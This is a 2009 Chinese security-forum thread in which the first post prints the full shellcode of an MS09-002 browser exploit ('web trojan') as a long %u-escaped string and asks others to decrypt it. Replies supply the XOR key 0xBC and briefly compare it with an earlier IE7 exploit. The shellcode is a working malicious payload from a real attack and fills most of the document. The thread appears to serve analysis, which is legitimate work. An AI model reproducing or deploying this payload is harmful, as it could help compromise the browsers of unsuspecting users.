知道安全上公布的ms09-002的网马的shellcode部分!

e54hacker

1. %u11eb%u4b5b%uc933%u96b9%u0005%u8000%u0b34%ue2bc%uebfa%ue805%uffea%uffff%u8454%ubcbf%ud4bc%u9cbc%ubcbc%ubcd6%u6c43%u3a05%ubcb9%u37bc%u5744%ue2b9%u184f%u6c43%u4a54%u4343%u5443%ubf83%ubcbc%u4437%u8454%ubcbc%u54bc%ubdf3%ubcbc%ufa54%ubcbc%u54bc%ubf61%ubcbc%u4437%u9e54%ubcbc%u54bc%ubdfa%ubcbc%u8c54%ubcbc%u54bc%ubf37%ubcbc%u4437%ub054%ubcbc%u54bc%ubddf%ubcbc%ua654%ubcbc%u57bc%uefe4%u6037%ud6ef%ud4fc%uacbc%ubcbc%u54eb%ube0f%ubcbc%u5954%ubcbc%ue4bc%uef7f%u6037%ud6ef%ud49c%uacbc%ubcbc%u54eb%ube27%ubcbc%u7154%ubcbc%ue4bc%ueb7f%u8254%ubcb8%u37bc%u8f44%uf575%u7c8f%u7f0c%u4e40%u3112%u43fb%u7fe3%u82e7%ubb7a%u8204%ue335%u82bd%u7bda%ub9fb%u5c43%u557f%ub82b%ubcbc%u3de7%ua850%ubcbd%u37bc%u8268%ube7b%ud1df%u9cd8%u7b82%ub8fe%udf93%u9e9c%u7e3f%u8fb4%uec7c%ud4ec%ubdb8%ubcbc%uefee%u54ec%ubf7f%ubcbc%u6c43%u4037%u7b37%u7c3f%u82b4%ua436%u6738%ubfc8%u57fc%u824a%ubc7a%u8f9e%u826e%uec34%u3fbd%ue850%u7c8f%u678f%u7037%u443f%uc1e8%u82b5%ua035%u3fb4%ub87c%u4e57%u7037%u6537%u7f3f%u8fac%u827c%uff7b%ubd90%ubcbc%uedbc%uecef%uecec%uecec%uebec%u54ec%ubf87%ubcbc%ua554%ubcbc%ud8bc%ub81d%ubcbc%u31bc%udc1c%u4343%u5443%ubf85%ubcbc%u678f%uefef%uefef%u6c43%u843c%uc855%u3cb9%u5484%ub3c9%uc43d%u2cb9%u2c2c%uc82c%ue9ba%u5037%ufc31%u43b9%u545c%u4390%u4343%u547f%u439a%u4343%uad04%ub8bd%u7e3c%ubcb0%ua554%u4343%u8f43%uec7c%u54e8%ubce8%ubcbc%u54ec%ube37%ubcbc%u6c43%u3c8a%u9880%ucbbc%u54b6%ubefd%ubcbc%u438f%u43eb%u546c%ubd47%ubcbc%u43d4%ubcbc%u43bc%u546c%u425a%u4343%uebef%u8fea%uec7c%u54e8%ubca2%ubcbc%u54ec%ubee9%ubcbc%u6c43%u3c8a%u9880%ucbbc%u54b6%ubeb7%ubcbc%u438f%u43eb%ue46c%ue3e2%u7fe7%ube57%u7fe4%u4554%u4343%uea43%u3feb%ub450%u4037%ub4d6%u82eb%ucb43%u54a8%ubee1%ubcbc%u6c43%u4037%uddd4%ud9d1%ud4bc%uf9f5%ucefa%u4837%ub405%ubcbc%u4fbc%uc91a%ud693%u82bc%uc843%u9c98%u9854%ubcbe%u43bc%u376c%u5444%ubd77%ubcbc%u6c43%u4487%ub4c8%u378a%u98f8%u829c%ubc43%u4382%u98c8%u54a0%ubd53%ubcbc%u6c43%u783f%ue3ac%u04e2%ubcbd%ubcbc%ud47f%ud2d3%ubcbc%uc9d4%ud0ce%u57d1%u31a9%u98f8%uecb8%u9c54%u4342%uec43%uf654%ubcbe%u55bc%u425c%u4343%u5a54%u4343%u3f43%ub478%ud67f%ud4d0%uc8d2%ud0d8%ua957%uf831%ub898%u54ec%u4145%u4343%u54ec%ube9f%ubcbc%u0555%u4342%u5443%u435a%u4343%u783f%u7fb4%u8fd4%ubc8e%ud4bc%ucfc9%uced9%ua957%uf831%ub898%u54ec%u4173%u4343%u54ec%ubd45%ubcbc%u3355%u4342%u5443%u435a%u4343%u783f%u7fb4%udfd4%ucbca%ud4bc%ud4cf%ud3d8%ua957%uf831%ub898%u54ec%u4119%u4343%u54ec%ubd73%ubcbc%ud955%u4342%u5443%u435a%u4343%u783f%u7fb4%ucad4%uc4db%u57bc%u31a9%u98f8%uecb8%u3c54%u4341%uec43%u1654%ubcbd%u55bc%u42fc%u4343%u5a54%u4343%u3f43%ub878%u547f%ubd17%ubcbc%ua7d4%ufa7a%uecc5%u7a54%ubcbd%u3fbc%ub478%u547f%ubd2b%ubcbc%u50d4%ubf2b%uecb0%u0e54%ubcbd%u3fbc%ub478%u547f%ubd3f%ubcbc%u16d4%ub140%uecc0%u2254%ubcbd%u3fbc%ub478%u547f%ubdd3%ubcbc%u51d4%u53ea%uec8a%u3654%ubcbd%u3fbc%ub478%u547f%ubde7%ubcbc%u4cd4%ub836%uece3%uca54%ubcbd%u3fbc%ub478%u547f%u424b%u4343%uc4d4%u67d4%ueca0%ude54%ubcbd%u3fbc%ub478%u547f%ubd8f%ubcbc%uc2d4%u5e64%ueccf%uf254%ubcbd%u3fbc%ub478%u547f%ubda3%ubcbc%u0cd4%u91f5%uec67%u8654%ubcbd%u3fbc%ub478%u547f%u438a%u4343%u17d4%u27e2%ueca2%u9a54%ubcbd%u3fbc%ub478%u547f%u421b%u4343%ue5d4%u3d2b%uecbe%uae54%ubcbd%u3fbc%ub478%u547f%ubc5f%ubcbc%uc2d4%u5e64%ueccf%u4254%ubcbc%u3fbc%ub478%u547f%ubc73%ubcbc%u22d4%u0745%uec89%u5654%ubcbc%u3fbc%ub478%u547f%u422e%u4343%uebd4%u091c%uec07%u6a54%ubcbc%u3fbc%ub478%u547f%u42c2%u4343%ua6d4%ua2c6%uecbe%u7e54%ubcbc%u3fbc%ub478%u547f%u42d6%u4343%u5cd4%u8ce7%uec28%u1254%ubcbc%u3fbc%ub478%u547f%u42ea%u4343%u2bd4%u5e75%uec1f%u2654%ubcbc%u3fbc%ub478%u547f%u42fe%u4343%ud4d4%u7998%uec0f%u3a54%ubcbc%u3fbc%ub478%u547f%ubceb%ubcbc%uced4%u0f42%uecaa%uce54%ubcbc%u3fbc%ub478%u547f%u42f8%u4343%uaf57%ud9d6%u54ec%u4749%u4343%u54ec%u4217%u4343%u0955%u4340%u5443%u4354%u4343%u547f%u4115%u4343%uf3d4%uf353%uecb9%u8254%ubcbc%u3fbc%ub478%u547f%ubcb3%ubcbc%u32d4%ub2f2%uec50%u9654%ubcbc%u3fbc%ub478%u8f7f%ud87c%ufc37%u398c%uc47c%u82ac%ufc37%u82b0%ucc37%u11a0%u3782%ub4fc%u577f%u82b7%ufc37%u3f88%uc07c%u3782%u80fc%udc7f%u378a%u98d0%u8a98%uf937%u8a80%ue837%uc494%u69bf%u3782%ua4f6%u3782%u9ce6%u61bf%u875f%u82f5%u8837%ubf37%u8f49%u8f43%u407c%u3810%uc87c%u7dbb%ub173%u44bf%u4857%u878a%u98c0%uc994%u8263%ue637%ubf98%u8261%u37da%uf7b0%u3782%ua0e6%u61bf%u3782%u37b8%u79bf%u358a%u98f8%udda0%u547f%u47d8%u4343%uc8d4%uccc8%u9386%ucb93%ucbcb%udf92%ud9d4%udbd2%ud5d6%ud6c8%udf92%ud1d3%ude93%ucfde%ud593%uddd1%ud9db%u93cf%ud0dd%uccd5%uc5dd%ud193%u93d1%udfd6%ud693%u92df%uc4d9%ubcd9

复制代码

本人不才,谁来解密

250662772

和以前的ie7那个一样,

密匙是0BC


[ 本帖最后由 250662772 于 2009-2-19 16:02 编辑 ]

knifed

密匙是0BC

cchao21

直接用bc代入一样能解出。

jinsli

LZ可以去找X星要版权费了，你的贴子被X星引用来作广告了。
现在SINA 、太平洋 、X星官网应该还能找到楼主论坛的截图。

[ 本帖最后由 jinsli 于 2009-2-21 12:09 编辑 ]

dl123100

利用该漏洞的攻击源代码被黑客公布在某些专业论坛
对瑞星很无语

雨宫优子

光发Shellcode没多大意思....

tanlimo

密匙很雷人

雨宫优子

这家伙...


感觉和那啥IE7 0D的Shellcode差不多...